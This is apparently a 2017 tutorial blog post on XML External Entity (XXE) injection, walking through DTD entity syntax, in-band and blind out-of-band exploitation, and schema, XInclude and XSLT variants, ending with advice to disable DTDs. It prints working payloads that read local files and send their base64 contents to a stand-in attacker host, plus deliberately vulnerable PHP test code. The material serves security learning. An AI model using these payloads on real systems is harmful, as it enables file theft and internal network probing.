XXE Learning Path: Step by Step
This post is a 2017 systematic write-up on XXE (XML External Entity Injection). The original motivation was OWASP TOP 10 2017 adding XXE as a dedicated entry (A4:2017-XML External Entities), so I consolidated scattered notes on DTD, entity declarations, in-band / out-of-band exploitation, and XML Schema extension attacks into a step-by-step reference. The original payloads and test conclusions are preserved verbatim; notes added at key points reflect version changes and modern hardening advice accumulated since 2017, so the two layers can be read side by side.
0x00 Background
OWASP TOP 10 2017 listed XML External Entity as a dedicated A4 entry, mainly because XML was still the dominant exchange format for SOAP, SAML, and configuration files, and the Java / PHP / Python ecosystems disagreed on whether external entities should be resolved by default. A single misconfigured parser was enough to let an attacker read /etc/passwd or scan the internal network through entity definitions. XXE supports protocols like http and file, so it can also be abused for internal host and port discovery — effectively SSRF via XXE. A dedicated SSRF write-up will follow.
Test Environment
- libxml2 2.9.1 and later do not parse external entities by default. The Windows tests used
php5.2 (libxml Version 2.7.7)andphp5.3 (libxml Version 2.7.8); on Linux you need to compile PHP against a libxml version older than 2.9.1. - Reference: https://vulhub.org/#/environments/php_xxe/
In-band test code (with echo and error):
<?php
$xml = simplexml_load_string($_POST['xml']);
print_r($xml);
Blind test code (no echo, no error):
<?php
$xml = @simplexml_load_string($_POST['xml']);
0x01 DTD Basics
Concepts:
- XXE — XML External Entity. From a security angle, read it as XML External Entity attack.
- DTD — Document Type Definition. Defines semantic constraints for an XML document. It can be embedded inline (internal declaration) or stored in a separate file (external reference). DTD supports limited data types and cannot constrain element or attribute contents in detail, so it lags behind XML Schema in both readability and extensibility.
Reference: http://www.w3school.com.cn/dtd/
Let’s look at the basic PAYLOAD structure first, then walk through each component. The payload opens with an XML declaration, uses DTD to declare an entity (here via the file protocol), and finally consumes that entity in the XML body.

DTD Reference Styles (Brief)
- Internal DTD declaration
<!DOCTYPE root-element [element declarations]>
- External DTD reference
<!DOCTYPE root-element-name SYSTEM "URI-of-external-DTD">
- Public DTD reference
<!DOCTYPE root-element-name PUBLIC "public-ID" "URI-of-public-DTD">
Example:
<?xml version="1.0"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
Naming breakdown: !DOCTYPE opens the declaration; configuration is the document root element; PUBLIC marks a public DTD; - means non-ISO organisation; mybatis.org is the organisation; DTD is the type; Config is the label; 3.0 is the label version; EN is the DTD language; the final URL is the DTD location.
DTD Entity Declarations (Key Section)
- Internal entity declaration
<!ENTITY entity-name "entity-value">
An entity reference has three parts: &, the entity name, and ;. Note that & must be URL-encoded in both GET and POST, because the XML is delivered via a parameter and & would otherwise be parsed as a parameter separator. Example:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
- External entity declaration
<!ENTITY entity-name SYSTEM "URI/URL">
External references can use http, file, and other protocols. Different languages support different protocol sets, but a few are universally available.
Example:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

- Parameter entity declaration
<!ENTITY % entity-name "entity-value">
or
<!ENTITY % entity-name SYSTEM "URI">
Example:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
Contents of the external evil.dtd:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
- Public entity reference
<!ENTITY entity-name PUBLIC "public_ID" "URI">
0x02 XXE Exploitation via DTD
XXE can be leveraged for denial of service, file read, command (code) execution, SQL (XSS) injection, internal port scanning, and lateral movement into internal sites. Internal discovery and intrusion rely on the protocols XXE supports — you can think of it as SSRF via XXE. Basically, you can do almost anything :).
XXE exploitation splits into two scenarios: in-band (有回显) and blind (无回显). In-band cases let you see the payload result directly in the response; blind cases — also called blind XXE — require an out-of-band (OOB) channel to extract data.
In-Band
<!-- Variant 1: direct external entity -->
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!-- Variant 2: parameter entity + external DTD -->
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
External evil.dtd:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

Internal site intrusion works the same way (covered in the SSRF write-up later).
Blind (Blind XXE / OOB)
To exfiltrate via an OOB channel, first read the target file with php://filter, then ship the content to an attacker-controlled server (xxx.xxx.xxx) over HTTP.
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
The evil.dtd below — note the inner % is character-encoded as %:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>">
%all;
If errors are echoed, just read the error message. If not, check the attacker server’s access logs — the base64-encoded data shows up there, and decoding it yields the file contents.

0x03 XXE Extended Knowledge
These attack variants require specific preconditions. I consolidated the public material here but have not reproduced each one — they are recorded as a basis for future testing.
xmlns Basics
Concept: XML Schema defines the legal building blocks of an XML document. It is the successor to DTD and can express constraints DTD cannot. Reference: http://www.w3school.com.cn/schema/schema_intro.asp
When multiple documents are combined, elements with the same name but different definitions collide, and XML parsers cannot decide how to handle the conflict. xmlns solves this: attaching an xmlns attribute binds a prefix to a namespace URI, and the parser stops complaining.
<!-- xmlns:abc="url" means this table is tagged with the abc prefix -->
<abc:table xmlns:abc="url">
<abc:tr>
<abc:td>Apples</abc:td>
<abc:td>Bananas</abc:td>
</abc:tr>
</abc:table>
Syntax: xmlns="namespaceURI" declares a default namespace and needs no prefix; non-default namespaces require a prefix to avoid XML errors. With xmlns:namespace-prefix="namespaceURI", the prefix just has to be unique within the document.
xsi:schemaLocation is the schemaLocation attribute within the http://www.w3.org/2001/XMLSchema-instance namespace. It pairs XML namespace URIs with the XSD (XML Schema Definition) documents that describe them — its value is one or more whitespace-separated URI pairs, where the first URI is the namespace and the second points to the Schema document. The Schema processor fetches the XSD from that second URI, and the document’s targetNamespace must match the first.
XML Schema Attack Vectors
Per a FreeBuf translation of foreign material, XML Schema attacks fall into four categories:
schemaLocationnoNamespaceSchemaLocationXInclude- XSLT attacks
schemaLocation
Seen in OWASP’s XML External Entity Attacks talk, but I could not find a concrete case.
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
noNamespaceSchemaLocation
Same as schemaLocation — seen in OWASP’s XXE talk, no concrete case found. An SSRF example is given but feels slightly off (still puzzled by it ;|).
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;">
</data>
XInclude
Mentioned in XML Schema, DTD, and Entity Attacks. Testing and reading show that not every XML parser supports XInclude (Microsoft’s “Merging XML Documents with XInclude” notes this, and W3C’s XInclude Implementations Report lists the supported set). The href attribute of xi:include can read files and can also do SSRF via protocols. FreeBuf’s example combines DTD entities with XInclude — arguably, if XInclude is available, you do not need DTD at all and can just abuse href directly. Still, the trick of planting &internal; inside an attribute is worth borrowing.
Example from XML Schema, DTD, and Entity Attacks:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://192.168.2.31/&internal;" parse="text"></xi:include>
</data>
External external_entity_attribute.dtd (per the parameter entity payload, any protocol should work here for SSRF):
<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
%param1;
XSLT Attacks
Mentioned in XML Out-Of-Band Data Retrieval. Use document() to fetch target host info, concat() to splice it with an evil host URL, then call document() again on the spliced URL — the data lands in the evil host’s logs.
document()accesses nodes in an external XML document;concat(string, string, …)returns the concatenated string.

0x04 Summary
There is plenty of XXE material on the internet, so this post is mainly a structured consolidation for learning and reference. Several extended variants have not yet been verified in practice — recorded here as a baseline for future testing. If you have reproduced them or have better scenarios, let’s compare notes.
References
- http://www.w3school.com.cn/dtd/dtd_intro.asp
- http://www.w3school.com.cn/schema/schema_summary.asp
- http://www.w3school.com.cn/xml/xml_usedfor.asp
- https://www.w3.org/XML/2002/09/xinclude-implementation
- http://www.runoob.com/xsl/xsl-browsers.html
- http://blog.csdn.net/sunxing007/article/details/5684265
- http://blog.csdn.net/a19881029/article/details/41890347
- http://blog.csdn.net/zhch152/article/details/8191377
- http://xmlwriter.net/xml_guide/entity_declaration.shtml
- http://www.mamicode.com/info-detail-1208231.html
- http://blog.csdn.net/u013224189/article/details/49759845
- http://www.91ri.org/17052.html
- http://www.91ri.org/9539.html
- http://www.91ri.org/12618.html
- http://www.91ri.org/12814.html
- https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
- https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP
- http://www.freebuf.com/articles/web/126788.html
- http://www.freebuf.com/articles/web/97833.html
- https://msdn.microsoft.com/zh-cn/library/aa302291.aspx
- https://security.tencent.com/index.php/blog/msg/69
- http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
- https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
- https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
- https://github.com/BuffaloWill/oxml_xxe/tree/master/samples
- https://github.com/CHYbeta/Web-Security-Learning#xxe
Final Thoughts
Looking back at this 2017 notebook, the easiest trap is not the payload itself but the illusion of “we already fixed it”. Many teams assume that upgrading libxml2 or turning off allow_url_include settles the XXE question — yet OOB exfiltration, XInclude, and XSLT bypass those switches entirely. The root cause is unchanged: external XML is being parsed as trusted input. The real fix for XXE is to explicitly disable DTD and external entities, not to lean on parser defaults.
Hope this consolidation helps those just getting into security — know your adversary, secure your defense.